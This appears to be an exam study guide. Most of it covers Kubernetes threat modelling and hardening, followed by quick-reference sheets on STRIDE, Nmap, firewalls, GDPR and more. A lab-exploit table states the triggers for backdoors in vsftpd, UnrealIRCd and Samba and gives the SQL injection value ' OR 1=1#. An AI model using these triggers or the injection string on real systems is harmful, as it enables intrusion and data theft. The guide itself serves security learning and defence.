Image registry	Stores and distributes container images.	A poisoned image can introduce malicious code into workloads. Protect credentials, provenance, signing, and scanning.
Pod	Smallest deployable Kubernetes workload unit; one or more containers share selected namespaces and resources.	Pod security context, service-account identity, network reachability, resource limits, and mounted data determine blast radius.

2.2 Reading the architecture diagram

The architecture model includes a user applying a deployment through the API server, which reads and writes etcd. Controllers and the scheduler poll or update desired state. Kubelets poll for new Pods. A node-side runtime obtains image manifests and blobs from an image repository, checks its cache, runs containers, and exposes service routing through kube-proxy and dataplane rules. The diagram also uses explicit machine-separation boxes and trust boundaries.

Diagram symbol	Meaning	How to use it during review
Arrow	Data flow or control-relevant communication path.	Ask what identity is used, whether the channel is authenticated and encrypted, and what happens if the message is modified, replayed, or flooded.
Dashed red boundary	Trust boundary.	Ask what privileges change when the boundary is crossed and what validates the crossing.
Green enclosure	Machine or deployment separation.	Ask whether compromise of one machine reaches another and whether network controls constrain the path.
Circle	Process or component.	Ask what privileges, credentials, inputs, outputs, logs, and dependencies the component has.
Parallel lines	Data store.	Ask who can read, write, back up, restore, or corrupt the stored data.

Architecture nuance: The exact implementation varies by Kubernetes version, cloud provider, networking plugin, and runtime. Threat models should capture the deployed reality rather than treating a teaching diagram as a universal inventory.

3. Main Kubernetes attack vectors

The main categories are five major attack-vector families. They overlap: a compromised container may expose a token; the token may exploit RBAC mistakes; excessive permissions may enable changes that produce denial of service or persistence.

Attack-vector family	What it means	Typical security questions
Denial of service (DoS)	Prevent the cluster or an application from functioning by exhausting or disrupting resources.	Can one identity create unlimited Pods? Are requests and limits set? Are quotas, autoscaling boundaries, and dependency capacities defined?
Compromised container	Attacker-controlled code executes inside a container and becomes a pivot point.	Is the image trusted? Is the workload privileged? Does it mount host paths, runtime sockets, credentials, or sensitive volumes?
Service-token compromise	A service-account or other API token is stolen or misused.	Is the token necessary, short-lived, scoped, rotated, protected, and limited by RBAC? Does the workload need API access at all?
Network endpoints	Pods, services, control-plane ports, node ports, or internal dependencies are reachable in ways that permit abuse.	Which endpoints are exposed? Are policies default-deny where appropriate? Are management endpoints isolated?
RBAC issues	Roles, bindings, or service accounts grant more access than intended.	Can an identity read Secrets, create privileged Pods, bind roles, impersonate users, exec into workloads, or modify cluster-level resources?

3.1 Cross-cutting attack-surface categories

- Identity surface: users, service accounts, client certificates, tokens, bootstrap credentials, cloud identities, and external identity providers.
- API surface: API server endpoints, kubelet APIs, admission webhooks, controllers, and external automation.
- Workload surface: images, dependencies, application vulnerabilities, runtime privileges, capabilities, namespaces, and volumes.
- Network surface: control-plane communication, service traffic, DNS, ingress, egress, CNI dataplane, node ports, and external load balancers.
- Persistence surface: etcd, persistent volumes, host files, restart policies, controller-managed resources, image registries, and backups.
- Supply-chain surface: base images, registries, build pipelines, manifests, update channels, artifact signatures, and scanners.

3.2 Attack trees as structured threat-search aids

An attack tree begins with a security-relevant goal and decomposes the goal into possible paths. OR nodes represent alternative paths, while AND nodes indicate that several conditions must be satisfied. Leaves are concrete conditions, weaknesses, or actions. Labels and reusable subtrees add context. A tree is a reasoning aid, not proof that every leaf is exploitable in every cluster.

Tree element	Interpretation
Goal node	Security outcome the attacker wants, such as disrupting a cluster, gaining access to a container, or establishing persistence.
OR node	Any one child path can be sufficient.
AND node	Multiple child conditions or actions are required together.
Leaf node	Concrete condition, exposed endpoint, misconfiguration, or action that can contribute to the goal.
Subtree	Reusable or referenced attack path that is decomposed elsewhere.
Note or label	Context, dependency, version condition, or assumption.

Interpretation rule: Treat the attack trees as checklists for review. For each branch, ask whether it exists in your deployed cluster, which preconditions are required, what control blocks it, and what telemetry would reveal attempted abuse.

4. Denial-of-service attack trees

4.1 Resource exhaustion through workload creation or privileged execution

The left-side DoS tree explores ways to exhaust compute resources. Several paths begin with access to a running Pod, a privileged container, the API server, or etcd. The important lesson is that availability depends on both workload controls and control-plane permissions.

Illustrative branch	Security meaning	Defensive response
Add a process to a running Pod	Compromised workload code consumes CPU, memory, storage, file descriptors, or other resources.	Set resource requests and limits, isolate workloads, monitor abnormal consumption, and restart or contain compromised Pods.
Use privileged container to start or modify a host process	A highly privileged workload reaches host resources through tools, host filesystem access, a mounted runtime socket, host PID namespace, or powerful capabilities.	Avoid privileged containers, deny host namespaces and dangerous capabilities, restrict hostPath and runtime-socket mounts, use Pod Security controls, and monitor node behavior.
Write new workloads into etcd	Unauthorized write access to cluster state can create or alter workloads.	Restrict etcd network access and client certificates, enable encryption and backup protection, and monitor for unauthorized state changes.
Create or scale a deployment through the API server	A token with deployment permissions creates excessive workloads.	Use least-privilege RBAC, namespace quotas, admission checks, rate controls, and audit alerts.
Create autoscaling events within an existing deployment	Autoscaling is induced or misused to consume capacity.	Bound autoscaling, define quotas, monitor scaling signals, and protect metric sources.

4.2 Disrupting cluster services and networking

The right-side DoS tree broadens the goal from resource exhaustion to cluster disruption. It includes reducing the worker-node pool, preventing state consistency, disturbing scheduling or controllers, degrading network services, and preventing new nodes from joining.

Target or path	Effect if disrupted	Representative protections
Kubelet and health checks	Node workloads become unhealthy or unavailable.	Restrict kubelet exposure, use authenticated access, monitor node status, and isolate management traffic.
etcd peer and client interfaces	Loss of quorum or state access can damage cluster operation.	Harden network paths, certificates, backups, monitoring, and quorum design.
API server	Desired-state changes and many administrative operations fail.	High availability, controlled exposure, authentication, authorization, rate controls, and monitoring.
Scheduler	New workload placement and rescheduling fail.	Protect the control plane, deploy HA where appropriate, and monitor scheduling latency and errors.
Controller manager	Reconciliation loops fail or lose control.	Protect control-plane identities, use HA patterns, and alert on controller errors.
Kube-proxy or service dataplane	Service routing breaks or becomes stale.	Harden nodes, monitor dataplane health, and use resilient networking implementations.
Cluster DNS	Name resolution failures disrupt application dependencies.	Deploy redundancy, monitor DNS health, use resource limits, and restrict abusive traffic.
CNI overlay or exposed CNI-specific ports	Pod networking degrades.	Harden the selected CNI plugin, restrict management endpoints, and monitor network errors.
Network boot or node-join path	New worker nodes cannot join or recover.	Protect bootstrap services and credentials, isolate provisioning networks, and monitor enrollment.

Availability lesson: Kubernetes availability is not just application uptime. It depends on control-plane quorum, scheduling, reconciliation, node agents, networking, DNS, runtime capacity, and safe scaling behavior.

5. Malicious code, container compromise, and persistence

5.1 Poisoned images and image-pull credentials

The malicious-code tree shows a supply-chain path: an attacker causes a poisoned image to be deployed. A poisoned image may be introduced through a normal release path, a compromised registry, or misuse of registry credentials. The tree also highlights pull secrets and the ability to write or overwrite them.

Threat path	What can go wrong	Controls
Poison an image in a registry	A workload pulls attacker-controlled code that appears to be legitimate.	Protect registry access, scan images, use immutable digests, sign and verify artifacts, separate build and deploy permissions, and monitor provenance.
Obtain or alter image-pull secrets	An attacker pushes or pulls images using credentials available to a workload or cluster component.	Use scoped credentials, limit Secret access with RBAC, rotate credentials, avoid unnecessary mounts, and audit Secret reads and updates.
Deploy image as part of a normal release	The malicious artifact enters through an expected workflow.	Secure CI/CD, require review and provenance verification, pin dependencies and image digests, and separate duties.

5.2 Gaining access to a running container

The container-access subtree models several routes to execution. These are especially dangerous when workload security settings connect the container to host resources.

Route	Why it matters	Key mitigation
Import or execute malicious code	Compromised application or toolchain runs attacker code inside the container.	Patch applications, reduce tools in production images, scan dependencies, and use runtime monitoring.
Modify host filesystem	A mounted host filesystem allows a container to change node files.	Avoid hostPath mounts; where unavoidable, narrow paths and permissions and isolate the workload.
Use mounted runtime socket	Runtime-socket access may permit control of other containers or host-level impact.	Do not mount the container-runtime socket into ordinary workloads.
Use host PID namespace	The container can observe or interact with host processes more directly.	Avoid hostPID except for narrowly justified infrastructure workloads.
Use powerful capabilities such as SYS_PTRACE	Additional Linux capabilities expand what container processes can do.	Drop capabilities by default and add only what is required.
Exec or attach through the API	A credential with exec or attach permission opens an interactive path into a workload.	Limit RBAC for pods/exec and pods/attach, protect tokens, and audit interactive access.

5.3 Persistence after compromise

Persistence means surviving restarts, rescheduling, or administrative cleanup. Kubernetes adds several persistence layers: process, container, Pod, node, API object, control-plane data store, image repository, and backup.

Persistence scope	Illustrative path	Security response
Current container only	Start a process in a running container using existing tools or imported code.	Use minimal images, runtime monitoring, immutable deployments, and rapid replacement rather than manual repair.
Container restart	Write or edit configuration in a persistent volume so a restart reloads malicious behavior.	Control writable volumes, validate configuration, protect persistent data, and detect drift.
Pod replacement	Persist through a volume or controller-managed configuration that survives Pod deletion and recreation.	Review controller templates, ConfigMaps, Secrets, volumes, and admission policies.
Node restart	Use runtime restart behavior, host init files, scheduled tasks, or modified host files.	Harden nodes, restrict host access, monitor file integrity, and rebuild compromised nodes.
Control-plane state or restore path	Modify Kubernetes resources, compromise PKI, or tamper with etcd or backups.	Protect API permissions, client certificates, backups, etcd access, and restore procedures; test clean recovery.

6. Compromised-container scenarios and lateral movement

The scenarios combine several subtrees into realistic scenarios. The purpose is to connect small weaknesses into attack chains. A single control rarely blocks every chain; layered controls reduce the probability and blast radius.

6.1 Malicious worker-node enrollment

A malicious worker node may be added manually or through node-join automation. The attack path includes kubelet launch, client certificates, bootstrap tokens, remotely or offline signed certificates, and access to certificate-signing capabilities. The defensive concern is not the existence of enrollment, but whether enrollment credentials and approval workflows allow an unauthorized node to become trusted.

- Protect bootstrap tokens and keep their lifetime and permissions narrow.
- Review certificate-signing and node-approval workflows; require deliberate approval where appropriate.
- Separate provisioning networks and identities from ordinary workload identities.
- Monitor new node registrations, certificate requests, role changes, and unusual node characteristics.

6.2 Registry abuse and data exfiltration

A compromised registry credential can support two directions of abuse: pushing a poisoned image or pulling and exfiltrating private images. A Kubernetes Secret may expose registry credentials if RBAC, mounts, or namespace boundaries are too permissive. Protect the build-to-registry and registry-to-cluster paths as a software supply chain.

6.3 Access to internal data stores

A compromised container may connect to an internal datastore using stolen credentials. tree connects this to obtaining Secrets from a running container. The resulting impact may include unauthorized access, exfiltration, destructive changes, or cryptolocking and ransomware.

- Use separate service identities and least-privilege database permissions.
- Restrict network paths so that only required workloads can reach the datastore.
- Store credentials in appropriate secret-management systems, mount only where needed, rotate them, and monitor use.
- Maintain tested backups and recovery procedures that cannot be modified by ordinary workload identities.

6.4 Remote code execution through Kubernetes API permissions

The model includes starting a Pod with an existing image or attaching to a running container. Both may be legitimate administrative operations. They become attack paths when a stolen user token or service-account token has excessive permissions. RBAC should separate read access, workload creation, interactive exec or attach, Secret access, and privilege-granting operations.

Privilege boundary: Permissions to create Pods, exec into Pods, attach to Pods, mount host paths, use privileged settings, read Secrets, or bind roles can be far more powerful than they first appear. Evaluate effective privilege, not only the role name.

7. Kubernetes security features and modern accuracy clarifications

7.1 Authentication, authorization, admission, and auditing

Control layer	Examples	What it does	Review questions
Authentication	Client certificates, OpenID Connect, static token files, and other methods.	Establishes who or what is making an API request.	Are strong methods used? Are tokens short-lived and protected? Are legacy static tokens avoided in production?
Authorization	RBAC, ABAC, Node authorizer, and Webhook.	Determines whether an authenticated identity may perform the requested action.	Is least privilege enforced? Can identities escalate privileges, read Secrets, exec into Pods, or modify cluster-wide resources?
Admission control	Policy checks after authentication and authorization but before persistence.	Validates or mutates requests before objects are stored.	Are pod-security requirements, image policies, and organization-specific rules enforced?
Audit logging	Chronological records of relevant API activity.	Supports detection, investigation, accountability, and tuning.	Are important events collected, protected, retained, reviewed, and alerted on?

7.2 Network Policies

A strong design should include adding NetworkPolicies because workload traffic is often permissive unless isolation rules are defined. NetworkPolicies express allowed ingress and egress traffic at the IP-address or port level. Enforcement requires a compatible networking implementation. A strong design commonly starts with default-deny policies and adds explicit allowances for required flows.

7.3 Pod security controls: historical and current terminology

The historical control is Pod Security Policies. PodSecurityPolicy was historically used to control security-sensitive aspects of Pod specifications. It was deprecated and removed from Kubernetes, and the built-in Pod Security Admission controller is the modern replacement for enforcing Pod Security Standards. Third-party admission webhooks can provide additional policy behavior.

Term	Status and purpose
PodSecurityPolicy (PSP)	Historical API and admission mechanism. Removed as of Kubernetes v1.25. Preserve the term when interpreting older materials, but do not design new clusters around it.
Pod Security Standards (PSS)	Community-defined policy levels that cover a spectrum from permissive to restrictive requirements.
Pod Security Admission (PSA)	Built-in admission controller that applies Pod Security Standards, typically by namespace labels and modes such as enforce, audit, and warn.
Admission webhook or policy engine	Optional additional mechanism for organization-specific policy rules and validation.

7.4 Kubernetes Secrets

A Kubernetes Secret is intended for small amounts of sensitive data such as passwords, tokens, and keys. It is preferable to a ConfigMap for sensitive values because the object type enables different handling and access control. However, Secret does not mean automatically encrypted or automatically safe.

Critical Secret nuance: By default, Secret objects are stored unencrypted in etcd unless encryption at rest is configured. Base64 encoding is not encryption. Restrict RBAC, configure encryption at rest, protect etcd and backups, minimize mounts, and consider an external secret-management integration when appropriate.

8. Hardening the attack surface

Cluster hardening can be organized around the host, container image, and cluster. The most effective security program combines preventive controls, detection, recovery, and continuous review.

8.1 Host and workload privilege reduction

Practice	Why it matters
Minimize privilege for applications running on the host or node	A compromised workload should not inherit unnecessary host access.
Do not run ordinary workloads as root	Root inside a container can increase impact, especially when combined with mounts, capabilities, or runtime weaknesses.
Drop unnecessary Linux capabilities	Capabilities break root privileges into smaller units. Add only the specific capabilities required.
Avoid privileged containers	Privileged mode substantially weakens isolation and should be reserved for exceptional infrastructure cases.
Limit host mounts and runtime-socket mounts	HostPath volumes and runtime sockets can provide direct paths to node compromise.
Avoid unnecessary host namespaces	Settings such as hostPID, hostNetwork, and hostIPC can increase visibility or reach.
Set requests, limits, and quotas	Resource controls reduce accidental and malicious resource exhaustion.

8.2 Image and supply-chain hardening

Practice	Reason
Know the base image	Every layer and package becomes part of the trusted computing base.
Prefer smaller images	Smaller images usually contain fewer tools, packages, and vulnerabilities and reduce post-compromise utility.
Do not rely on the latest tag	A mutable tag makes deployments harder to reproduce and audit. Pin trusted versions or immutable digests.
Scan images periodically	New vulnerabilities may be discovered after an image was built.
Sign and verify artifacts	Provenance checks help prevent unauthorized or substituted artifacts from reaching production.
Secure registries and CI/CD identities	Registry and pipeline compromise can bypass cluster-level controls by supplying malicious code through normal workflows.

8.3 Cluster and control-plane hardening

- Use TLS for control-plane and node communications, verify certificates, and protect private keys.
- Restrict API server and etcd network exposure; isolate management paths from ordinary workload traffic.
- Apply least-privilege RBAC and review privilege-escalation paths, especially Secret reads, Pod creation, exec or attach, impersonation, and role binding.
- Collect and review audit logs. Protect log integrity and integrate high-value events with monitoring and alerting.
- Use NetworkPolicies and segmentation to reduce lateral movement and contain compromised workloads.
- Configure encryption at rest for Secrets and protect etcd backups and restoration workflows.
- Patch Kubernetes components, nodes, runtimes, images, and applications. Re-run threat modeling after major changes.

Defense-in-depth: A scanner cannot replace architecture. A policy cannot replace monitoring. A backup cannot replace prevention. A strong cluster combines hardening, least privilege, supply-chain controls, segmentation, observability, and tested recovery.

9. Open-source security tooling and security landscape

Important elements include representative open-source tools. They operate at different points in the lifecycle and should be combined with architecture review and operational controls. Tool behavior and maintenance status can evolve, so verify current documentation before adopting a tool.

Tool	Primary role	Where it fits
kube-bench	Checks whether Kubernetes is deployed according to security-oriented benchmark guidance.	Cluster configuration and hardening assessment.
Kubesec	Performs security-risk analysis of Kubernetes resource manifests.	Static manifest review before or during deployment.
Clair	Performs static vulnerability analysis for container images.	Image and registry scanning in the supply chain.
Kubescape	Scans clusters, Kubernetes manifests, repositories, registries, and images for security issues and posture findings.	Broader cloud-native security posture and vulnerability review.
Notary Project	Signs and verifies artifacts to improve trust in updates and distribution.	Supply-chain integrity and artifact provenance.

9.1 Interpreting tool results

- A configuration finding is not automatically an exploitable vulnerability. Validate the deployed context and threat path.
- A clean scan does not prove that the system is secure. Tools may miss logic flaws, identity misuse, unknown weaknesses, and architecture problems.
- Prioritize findings by exposure, privilege, exploitability, impact, compensating controls, and operational importance.
- Integrate tools into CI/CD and recurring operational review where appropriate; do not treat them as one-time checks.

9.2 CNCF landscape and reference materials

The CNCF landscape is useful for monitoring the cloud-native ecosystem, but the existence of a tool does not establish suitability. Evaluate governance, release cadence, maintenance, threat model, integration cost, and operational ownership.

Relevant references include several reference families: Kubernetes security cheat sheets, the CNCF Financial User Group threat model, CloudSecDocs material, a Trend Micro threat-model deep dive, and DoD Kubernetes hardening guidance. These provide examples and checklists. For implementation decisions, also consult current official Kubernetes documentation for the version being deployed.

Version awareness: Kubernetes documentation is versioned. Validate that the guidance, APIs, and defaults match the actual cluster version, distribution, cloud provider, runtime, and networking plugin.

10. Rapid reference and complete review checklist

10.1 Four-step answer structure for a Kubernetes threat-model question

1. State the system boundary and architecture: cloud, cluster, container, code; control plane, nodes, runtimes, registry, network, credentials, storage, and workloads.
2. Identify trust boundaries and high-value identities: API access, service accounts, client certificates, tokens, registry credentials, etcd access, and node enrollment.
3. Use structured threat paths: DoS, compromised container, token compromise, network endpoints, RBAC issues, malicious images, lateral movement, and persistence.
4. Map each important path to prevention, detection, recovery, ownership, and validation tests. Update the model when the deployment changes.

10.2 High-value distinctions

Distinction	Concise explanation
Threat model vs scanner output	A scanner reports observed findings. A threat model explains architecture, trust boundaries, assumptions, attack paths, impacts, and planned controls.
Authentication vs authorization vs admission	Authentication establishes identity. Authorization checks permission. Admission controls validate or mutate allowed requests before persistence.
Secret vs ConfigMap	Secrets are intended for sensitive values and should receive stricter handling. They are not automatically encrypted in etcd.
Image vulnerability vs poisoned image	A vulnerable image contains exploitable weakness. A poisoned image intentionally includes malicious content or unauthorized modifications.
Container compromise vs node compromise	Container compromise is execution inside a workload boundary. Node compromise affects the machine and can threaten multiple workloads and cluster trust.
PSP vs PSA/PSS	PodSecurityPolicy is historical and removed. Pod Security Admission applies Pod Security Standards in modern Kubernetes.
NetworkPolicy vs firewall magic	NetworkPolicies define allowed traffic for selected Pods, but enforcement depends on networking support and correct policy design.
Tool result vs risk decision	Automated tools provide evidence. Human analysis decides relevance, exposure, impact, and remediation priority.

10.3 Kubernetes threat-model review checklist

Review area	Questions to answer
Architecture	Are control plane, nodes, registries, data stores, network paths, external dependencies, and trust boundaries modeled accurately?
Identities	Which users, service accounts, certificates, tokens, bootstrap credentials, and cloud identities exist? Are they scoped, protected, rotated, and monitored?
RBAC	Can any identity read Secrets, create privileged Pods, exec or attach, bind roles, impersonate identities, or modify cluster-wide resources unnecessarily?
Workloads	Do workloads run as non-root with minimal capabilities, safe namespaces, narrow mounts, resource limits, and trusted images?
Network	Are management endpoints isolated? Are default-deny and explicit allow policies appropriate? Is DNS and CNI health monitored?
Data	Is etcd protected? Are Secrets encrypted at rest? Are backups protected, separated, and restore-tested?
Supply chain	Are base images known, digests pinned, artifacts verified, registries protected, images scanned, and CI/CD permissions separated?
Availability	Can quotas, limits, scaling bounds, HA design, monitoring, and recovery withstand resource exhaustion and component disruption?
Detection	Are audit logs, node signals, runtime events, registry changes, role changes, node enrollments, and unusual API actions monitored?
Validation	Does each important threat have a documented control, test, owner, monitoring signal, and review trigger?

10.4 Current official documentation checkpoints

For real deployments, verify the current version-specific Kubernetes documentation for: security checklist; cloud-native security; RBAC good practices; auditing; network policies; Pod Security Admission and Pod Security Standards; Secrets good practices; and encrypting confidential data at rest.

```
Key final idea: Model the deployed system -> trace realistic attack paths -> apply layered controls ->
validate continuously
```

The Threat Modeling I method can be applied to a realistic Kubernetes architecture. The attack trees are reusable questions for design review, deployment review, monitoring design, and incident preparation.

Additional: Complete Kubernetes Open-Source Security Tooling

Tool	Purpose
Kubesec	Security risk analysis for Kubernetes resources
kube-bench	Checks whether Kubernetes is securely deployed
Trivy	Static analysis of vulnerabilities in containers
Checkov	Scans clusters, manifests, code repos, registries and images
Notary/TUF	Sign and verify artifacts; secure updates; Docker Trusted Registry

Glossary Additions

Short definitions for MCQ coverage:

Term	Definition
Diffie-Hellman / ECDHE	Key-agreement over an open channel; ECDHE = ephemeral EC version -> forward secrecy.
rockyou / hashcat / John	rockyou = common wordlist; hashcat & John the Ripper = password crackers.
Rainbow table	Precomputed hash->plaintext lookup; defeated by per-password salt.
Salt / pepper	Salt = random value added before hashing (stored). Pepper = secret added (not stored).
bcrypt / Argon2	Slow, salted password-hashing functions; replace MD5/SHA for passwords.
Buffer overflow	Writing past a buffer to corrupt memory / run code (EternalBlue is one).
XSS	Cross-site scripting: inject script into a page so it runs in victims' browsers.
CSRF	Cross-site request forgery: trick logged-in user's browser into a state-changing request.
Polymorphic malware	Mutates its own code each infection to evade signatures.
Armored / Sparse infector	Armored = anti-analysis; sparse = infects only occasionally to stay hidden.
Macro virus	Malware embedded in document macros (e.g. Office).
Wrapper	Binds a malicious payload to a legitimate program.
Keylogger	Records keystrokes to steal credentials.
Session hijacking	Stealing an active authenticated session token to impersonate a user.
CVSS	Common Vulnerability Scoring System: 0-10 severity ranking (ranks, doesn't detect).
Mirai	Botnet that compromised IoT via default Telnet credentials.

Quick-Reference Sheets for Exam

Compact lookup tables designed for fast open-book access during the exam.

1. STRIDE Quick-Reference Table

Threat	CIA goal attacked	Applies to (DFD)	Question to ask	Standard mitigation
Spoofing	Authentication (Confidentiality)	External entities, Processes	Can someone pretend to be this entity?	Authentication: passwords, MFA, certs, tokens, SPF/DKIM
Tampering	Integrity	Data stores, Data flows, Processes	Can data/code be modified without detection?	Integrity checks: hashes, signatures, ACLs, input validation
Repudiation	Non-repudiation	Processes, External entities	Can someone deny performing an action?	Logging, audit trails, digital signatures, secure timestamps
Information Disclosure	Confidentiality	Data stores, Data flows, Processes	Can unauthorized parties read this data?	Encryption (at rest + in transit), access control, least privilege
Denial of Service	Availability	Processes, Data stores, Data flows	Can this resource be exhausted or blocked?	Rate limiting, redundancy, filtering, capacity planning, CDN
Elevation of Privilege	Authorization	Processes	Can someone gain higher privileges?	Least privilege, input validation, sandboxing, RBAC, patching

2. CVE to Exploit to Fix Mapping (Lab Exploits)

Exploit	CVE	Vuln version	What it does	Fix
vsftpd backdoor	CVE-2011-2523	vsftpd 2.3.4	':)' in username triggers backdoor shell on port 6200	Update to 2.3.5+; verify package integrity
UnrealIRCd backdoor	CVE-2010-2075	UnrealIRCd 3.2.8.1	'AB' prefix in any command triggers arbitrary code exec	Update; verify source checksums
Samba usermap_script	CVE-2007-2447	Samba 3.0.20-3.0.25rc3	Username with shell metachar -> RCE as root	Update Samba; sanitize input
EternalBlue (SMBv1)	CVE-2017-0144	Windows SMBv1	Buffer overflow in SMBv1 -> SYSTEM shell	MS17-010 patch; disable SMBv1
Bindshell port 1524	N/A (misconfig)	Metasploitable 2	Root shell listening, no auth required	Close port; remove backdoor service
rlogin passwordless	N/A (misconfig)	.rhosts trust	Root login with no password via .rhosts	Disable rlogin; remove .rhosts; use SSH
WinRM default creds	N/A (misconfig)	vagrant:vagrant	Login with default credentials	Change default passwords; restrict WinRM access
DVWA SQLi	N/A (code flaw)	DVWA low security	' OR 1=1# dumps all users+hashes	Prepared statements; input validation; bcrypt

3. Nmap Flags One-Pager

Flag	Name	What it does
-sS	SYN scan (stealth)	Half-open; sends SYN, reads SYN-ACK; less logged; default with root
-sT	TCP connect	Full 3-way handshake; reliable but detectable; default without root
-sF	FIN scan	Sends FIN; closed port returns RST, open drops it; stealthier
-sX	Xmas scan	Sets FIN+PSH+URG flags; same logic as FIN scan
-sN	Null scan	No flags set; same logic as FIN scan
-sU	UDP scan	Connectionless; no guaranteed outcome; slow
-sV	Version detection	Probes open ports for service/version info (needed for CVE matching)
-sC	Default scripts	Runs NSE default scripts for common checks
-O	OS detection	Fingerprints the operating system
-sn	Ping scan (no port)	Host discovery only, skips port scanning
-Pn	Skip host discovery	Treat all hosts as online; scan ports directly
-p-	All ports	Scan all 65535 ports (default = top 1000)
-p <N>	Specific port(s)	-p 22,80,443 or -p 1-1024
-A	Aggressive	Enables -O, -sV, -sC, and traceroute together
-oN / -oX / -oG	Output format	Normal / XML / grepable. -oA = all three
-T0 to -T5	Timing	T0=paranoid T1=sneaky T2=polite T3=normal T4=aggressive T5=insane
-sA	ACK scan	Maps firewall rules (filtered vs unfiltered)
-sW	Window scan	Like ACK but examines TCP window field
-sI	Idle scan	Stealth scan using a zombie host
--script <name>	NSE script	Run specific script, e.g. smb-enum-users.nse

4. Firewall Type Comparison Table

Type	OSI Layer	What it inspects	Speed	Advantages	Disadvantages
Packet Filter (static)	3 (Network)	IP src/dst, port, protocol; no context	Fastest	Simple, cheap, no client config needed, can do NAT	No higher-layer checks; vulnerable to spoofing, source routing, tiny fragments
Stateful Packet Filter	3-4 (Network/ Transport)	Packets in context of session; state tables track connections	Fast	Validates packets belong to legitimate sessions; application independent	Less access control than application proxy; state tables consume memory
Circuit-Level Gateway	5 (Session)	Validates TCP/UDP sessions before opening circuit; maintains valid connection table	Medium	More secure than packet filter; protects against spoofing; shields internal IPs via NAT	Only TCP; no higher-level protocol checks; SOCKS commonly used
Application-Level Gateway (Proxy)	7 (Application)	Full application data; user requests go through proxy	Slowest	Full protocol understanding (HTTP, FTP); can filter content; user auth; caching; URL filtering	Slow; needs proxy per protocol; requires client config; relies on OS security

Also know: Bastion host = hardened host running gateways, exposed to hostile traffic. Host-based firewall = software on individual server. Personal firewall = software on PC/home router. DMZ = screened subnet between external and internal networks. Distributed firewall = policy enforced across multiple points.

5. Anonymization Hierarchy Summary

Technique	What it does	Attack it defends against	Weakness / limitation
Pseudonymization	Replace/remove direct identifiers (names, SSN). Reversible with key.	Casual identification	Addresses linkability only; inference still possible. NOT anonymization.
k-anonymity	Each record indistinguishable from k-1 others on quasi-identifiers.	Singling out (max re-ID prob = 1/k)	Vulnerable to linkability + inference with background knowledge.
l-diversity	Each equivalence class has l distinct values for sensitive attributes.	Attribute inference within a group	Doesn't ensure distribution matches global; skewed values leak info.
t-closeness	Distribution of sensitive attribute in each class is within t of overall distribution.	Distribution-based inference	Complex to implement; choice of t is subjective.
Differential privacy	Add calibrated noise (Laplace/Gaussian) so individual records can't be distinguished.	Strongest: any individual's presence/absence is hidden	Noise reduces utility; parameter tuning (epsilon) is critical.

Key rule: GDPR does NOT apply to properly anonymized data. It DOES apply to pseudonymized data.

6. Common Exam Traps and Trick-Question Pitfalls

Trap	Correct answer
Virus vs Worm	**Virus** requires human action to spread. **Worm** self-replicates without human action.
DoS mechanism	DoS works by **exhausting resources** (bandwidth, CPU, memory, connections), NOT by exploiting a code vulnerability.
Confidentiality vs Privacy	Confidentiality is a **subset** of privacy. Privacy is broader: includes dignity, control, self-determination. Confidentiality != privacy.
Authenticated scan vs Pen test	Authenticated scan = scanner with valid creds finds more vulns. Pen test = authorized simulated attack to prove exploitability.
k-anonymity limitations	k-anonymity protects against singling out but NOT against inference attacks (need l-diversity or t-closeness).
Textbook RSA	Textbook RSA is **not secure**. Must use padding like RSA-OAEP. Small primes are for teaching only.
Threat vs Vulnerability	Threat = potential harmful event. Vulnerability = weakness. A threat exploits a vulnerability. They are NOT the same.
Exploit vs Attack	Exploit = the method/technique. Attack = the actual attempt using that method against a target.
Patch vs Countermeasure	Patch fixes one vulnerability. Countermeasure is broader: prevent, detect, limit, or recover.
IDS vs IPS	IDS = detects and alerts (passive). IPS = detects and takes action (reactive): blocks, changes firewall rules, etc.
Misuse vs Anomaly detection	Misuse = known signatures (misses unknown attacks). Anomaly = learned baselines (susceptible to false positives).
Symmetric vs Asymmetric crypto	Symmetric = same key (AES, DES, OTP). Asymmetric = public+private key pair (RSA, ElGamal). Symmetric is faster.
DH is NOT encryption	Diffie-Hellman is **key exchange** only. It agrees a shared secret; does not encrypt data itself.
Forward secrecy	ECDHE gives forward secrecy: past traffic safe even if long-term key leaks later. Non-ephemeral DH does NOT.
GDPR applies to pseudonymized data	GDPR applies to pseudonymized data. It does NOT apply to properly anonymized data.
GDPR extraterritoriality	GDPR applies even outside the EU if you offer goods/services to EU persons (Article 3).
SPF vs DKIM vs DMARC	SPF = checks if sending server is authorized. DKIM = digital signature verifies message integrity. DMARC = policy combining both.
Salt vs Pepper	Salt = random, stored with hash, unique per password. Pepper = secret, NOT stored with hash. Both defeat rainbow tables.
One-Time Pad	OTP has perfect secrecy IF key is truly random, as long as message, and never reused. Practical problem = key distribution.

7. GDPR Key Article Numbers

Article	Topic	Key content
Art. 3	Territorial scope	Extraterritorial: applies to any org offering goods/services to EU persons
Art. 4	Definitions	Personal data, processing, controller, processor, consent, pseudonymization
Art. 5	7 Principles of processing	Lawful/fair/transparent, purpose limitation, data minimization, accuracy, storage limitation, security, accountability
Art. 6	6 Legal bases	Consent, contract, legal obligation, vital interests, public interests, legitimate interests
Art. 7	Conditions for consent	Must be informed, freely given, specific, unambiguous; withdrawable
Art. 9	Sensitive personal data	Race, politics, religion, genetics, biometrics, health, sex life — processing prohibited with exceptions
Art. 13-14	Information to data subject	Must inform: who processes, why, legal basis, retention, rights
Art. 15	Right of access	Data subject can request copy of all personal data held
Art. 17	Right to erasure	'Right to be forgotten' — delete data when no longer needed or consent withdrawn
Art. 20	Right to portability	Receive personal data in machine-readable format (JSON/CSV)
Art. 25	Data protection by design/default	Privacy-by-design and privacy-by-default must be implemented
Art. 28	Processor obligations	Controller-processor contract required; processor follows controller instructions
Art. 30	Records of processing	Must maintain records of all processing activities
Art. 32	Security of processing	Appropriate technical/organisational measures; mentions pseudonymization, encryption, CIA, resilience, testing
Art. 33	Breach notification to DPA	Notify supervisory authority within **72 hours** of becoming aware
Art. 34	Breach notification to data subject	Must communicate high-risk breaches to affected individuals without delay
Art. 35	Data Protection Impact Assessment	Required when processing likely results in high risk to individuals
Art. 37	Data Protection Officer	Must designate DPO in certain cases; DPO coordinates with supervisory authority

8. Social Engineering: Attack to Defense Pairing

Attack	How it works	Defense
Phishing (email)	Fake email impersonating trusted entity; link to credential-harvesting site or malware attachment	SPF/DKIM/DMARC; user training; email filtering; URL inspection; report button
Spear phishing	Targeted phishing using personal info gathered via OSINT	Same as phishing + limit public info exposure; verify unusual requests out-of-band
